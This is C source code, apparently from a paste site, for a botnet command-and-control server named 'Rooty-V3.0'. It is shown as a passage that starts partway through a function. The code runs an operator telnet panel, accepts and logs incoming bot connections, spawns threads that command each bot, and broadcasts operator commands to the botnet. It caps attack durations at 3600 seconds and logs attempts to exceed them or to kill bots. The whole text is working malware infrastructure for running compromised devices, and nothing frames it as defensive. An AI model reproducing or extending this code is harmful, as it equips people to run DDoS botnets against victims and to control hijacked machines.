- printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("TIME.log", "a");
- fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- }
- if(strstr(buf, "3601"))
- {
- printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("TIME.log", "a");
- fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- } // max time
- if(strstr(buf, "3601"))
- {
- printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("TIME.log", "a");
- fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- } // max time
- if(strstr(buf, "3601"))
- {
- printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("TIME.log", "a");
- fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- } // max time
- if(strstr(buf, "3601"))
- {
- printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("TIME.log", "a");
- fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- } // max time
- if(strstr(buf, "999999999999999"))
- {
- printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("TIME.log", "a");
- fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- }
- if(strstr(buf, "LOLNOGTFO"))
- {
- printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("KILL.log", "a");
- fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- }
- if(strstr(buf, "GTFOFAG"))
- {
- printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("KILL.log", "a");
- fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
- fclose(logFile);
- goto end;
- }
- trim(buf);
- if(send(thefd, "\x1b[1;32m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
- if(strlen(buf) == 0) continue;
- printf("%s: \"%s\"\n",accounts[find_line].username, buf);
- FILE *logFile;
- logFile = fopen("report.log", "a");
- fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].username, buf);
- fclose(logFile);
- broadcast(buf, thefd, usernamez);
- memset(buf, 0, 2048);
- }
- end: // cleanup dead socketgive
- managements[thefd].connected = 0;
- close(thefd);
- OperatorsConnected--;
- }
- void *telnetListener(int port)
- {
- int sockfd, newsockfd;
- socklen_t clilen;
- struct sockaddr_in serv_addr, cli_addr;
- sockfd = socket(AF_INET, SOCK_STREAM, 0);
- if (sockfd < 0) perror("ERROR opening socket");
- bzero((char *) &serv_addr, sizeof(serv_addr));
- serv_addr.sin_family = AF_INET;
- serv_addr.sin_addr.s_addr = INADDR_ANY;
- serv_addr.sin_port = htons(port);
- if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
- listen(sockfd,5);
- clilen = sizeof(cli_addr);
- while(1)
- { printf("New BOTNET Connection From: ");
- client_addr(cli_addr);
- FILE *logFile;
- logFile = fopen("Connections.log", "a");
- fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
- fclose(logFile);
- newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
- if (newsockfd < 0) perror("ERROR on accept");
- pthread_t thread;
- pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
- }
- }
- int main (int argc, char *argv[], void *sock)
- {
- signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
- int s, threads, port;
- struct epoll_event event;
- if (argc != 4)
- {
- fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
- exit (EXIT_FAILURE);
- }
- port = atoi(argv[3]);
- printf("\x1b[36mThe net has been screened you may now connect\n");
- telFD = fopen("bots.txt", "a+");
- threads = atoi(argv[2]);
- listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
- if (listenFD == -1) abort ();
- s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
- if (s == -1) abort ();
- s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
- if (s == -1)
- {
- perror ("listen");
- abort ();
- }
- epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
- if (epollFD == -1)
- {
- perror ("epoll_create");
- abort ();
- }
- event.data.fd = listenFD;
- event.events = EPOLLIN | EPOLLET;
- s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
- if (s == -1)
- {
- perror ("epoll_ctl");
- abort ();
- }
- pthread_t thread[threads + 2];
- while(threads--)
- {
- pthread_create( &thread[threads + 2], NULL, &BotEventLoop, (void *) NULL); // make a thread to command each bot indivusernameually
- }
- pthread_create(&thread[0], NULL, &telnetListener, port);
- while(1)
- {
- broadcast("PING", -1, "Rooty-V3.0");
- sleep(60);
- }
- close (listenFD);
- return EXIT_SUCCESS;
- }
Advertisement
Add Comment
Please, Sign In to add comment